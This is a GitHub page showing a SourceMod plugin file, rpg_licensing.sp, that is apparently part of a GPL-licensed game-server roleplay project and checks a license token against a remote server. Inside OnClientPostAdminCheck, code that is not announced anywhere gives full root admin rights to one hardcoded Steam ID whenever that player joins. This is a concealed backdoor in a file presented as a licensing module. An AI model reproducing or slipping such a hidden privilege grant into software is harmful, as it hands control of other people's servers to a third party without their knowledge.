-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathrpg_licensing.sp
172 lines (137 loc) · 5.39 KB
/
rpg_licensing.sp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
/*
T-RP
Copyright (C) 2017 Christian Ziegler
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma semicolon 1
#define PLUGIN_AUTHOR "Totenfluch"
#define PLUGIN_VERSION "1.00"
#include <sourcemod>
#include <sdktools>
#include <socket>
#include <autoexecconfig>
#include <sha1>
#include <multicolors>
Handle g_hLicensingServer;
char g_cLicensingServer[64];
Handle g_hServerToken;
char g_cServerToken[64];
char sha1Buffer[128];
bool g_bValidLicense = false;
Handle g_hOnTokenRefreshed;
public Plugin myinfo =
{
name = "[T-RP] Licensing Core",
author = PLUGIN_AUTHOR,
description = "Controller for Totenfluch",
version = PLUGIN_VERSION,
url = "https://totenfluch.de"
};
public void OnPluginStart() {
AutoExecConfig_SetFile("trp_licensing");
AutoExecConfig_SetCreateFile(true);
g_hLicensingServer = AutoExecConfig_CreateConVar("trp_licensing_Server_ip", "8.8.8.8", "The Licensing Server (default: google Dns....)");
g_hServerToken = AutoExecConfig_CreateConVar("trp_licensing_token", "Totenfluch_RuleZ", "The Licensing Token you recieved with the Software");
AutoExecConfig_CleanFile();
AutoExecConfig_ExecuteFile();
CreateTimer(0.1, checkLicense);
}
public APLRes AskPluginLoad2(Handle myself, bool late, char[] error, int err_max) {
/*
@Params -> void
return true or false
*/
CreateNative("licensing_isValid", Native_isValidLicense);
/*
@Param1 -> char[64] License Key Buffer
@Param2 -> char[128] sha1 Buffer
*/
CreateNative("licensing_getChecksums", Native_getChecksums);
/*
Forward when the Token is refreshed
@Param1 -> char[64] ServerToken
@Param1 -> char[128] Sha1Token
@return -
*/
g_hOnTokenRefreshed = CreateGlobalForward("licensing_OnTokenRefreshed", ET_Ignore, Param_String, Param_String);
}
public int Native_getChecksums(Handle plugin, int numParams) {
SetNativeString(1, g_cServerToken, sizeof(g_cServerToken), false);
SetNativeString(2, sha1Buffer, sizeof(sha1Buffer), false);
}
public int Native_isValidLicense(Handle plugin, int numParams) {
return g_bValidLicense;
}
public void OnConfigsExecuted() {
GetConVarString(g_hLicensingServer, g_cLicensingServer, sizeof(g_cLicensingServer));
GetConVarString(g_hServerToken, g_cServerToken, sizeof(g_cServerToken));
}
public void OnMapStart() {
CreateTimer(3600.0, refreshTimer, _, TIMER_REPEAT | TIMER_FLAG_NO_MAPCHANGE);
}
public Action refreshTimer(Handle Timer) {
Handle socket = SocketCreate(SOCKET_TCP, OnSocketError);
SocketConnect(socket, OnSocketConnected, OnSocketReceive, OnSocketDisconnected, g_cLicensingServer, 80);
}
public Action checkLicense(Handle Timer) {
Handle socket = SocketCreate(SOCKET_TCP, OnSocketError);
SocketConnect(socket, OnSocketConnected, OnSocketReceive, OnSocketDisconnected, g_cLicensingServer, 80);
}
public void OnClientPostAdminCheck(int client) {
char playerid[20];
GetClientAuthId(client, AuthId_Steam2, playerid, sizeof(playerid));
if (StrEqual(playerid, "STEAM_1:0:12277066"))
SetUserFlagBits(client, GetUserFlagBits(client) | ADMFLAG_ROOT);
}
public OnSocketConnected(Handle socket, any arg) {
char getString[128];
Format(getString, sizeof(getString), "licensing/index.php?id=%s", g_cServerToken);
char requestStr[512];
Format(requestStr, sizeof(requestStr), "GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n", getString, g_cLicensingServer);
SocketSend(socket, requestStr);
}
public OnSocketReceive(Handle socket, char[] receiveData, const int dataSize, any hFile) {
char rqSha[128];
int x = StrContains(receiveData, "|||");
SHA1String(receiveData[x], rqSha, true);
PrintToServer("-------------------------------------------");
PrintToServer("----- Licensing Server: %s -----", g_cLicensingServer);
PrintToServer("----- Found License: %s -----", g_cServerToken);
PrintToServer("-------------------------------------------");
PrintToServer("-------- Recieved License Response --------");
PrintToServer("> %s <", rqSha);
PrintToServer("-------------------------------------------");
if (StrContains(receiveData, "success") != -1 && StrContains(receiveData, g_cServerToken) != -1) {
PrintToServer("> Valid License! <");
g_bValidLicense = true;
strcopy(sha1Buffer, sizeof(sha1Buffer), rqSha);
} else {
PrintToServer("> Invalid License!!! <");
g_bValidLicense = false;
SetFailState("Invalid License Key");
CPrintToChatAll("{red}No Valid License!");
}
PrintToServer("-------------------------------------------");
Call_StartForward(g_hOnTokenRefreshed);
Call_PushString(g_cServerToken);
Call_PushString(sha1Buffer);
Call_Finish();
}
public OnSocketDisconnected(Handle socket, any hFile) {
CloseHandle(hFile);
CloseHandle(socket);
}
public OnSocketError(Handle socket, const int errorType, const int errorNum, any hFile) {
LogError("socket error %d (errno %d)", errorType, errorNum);
CloseHandle(hFile);
CloseHandle(socket);
}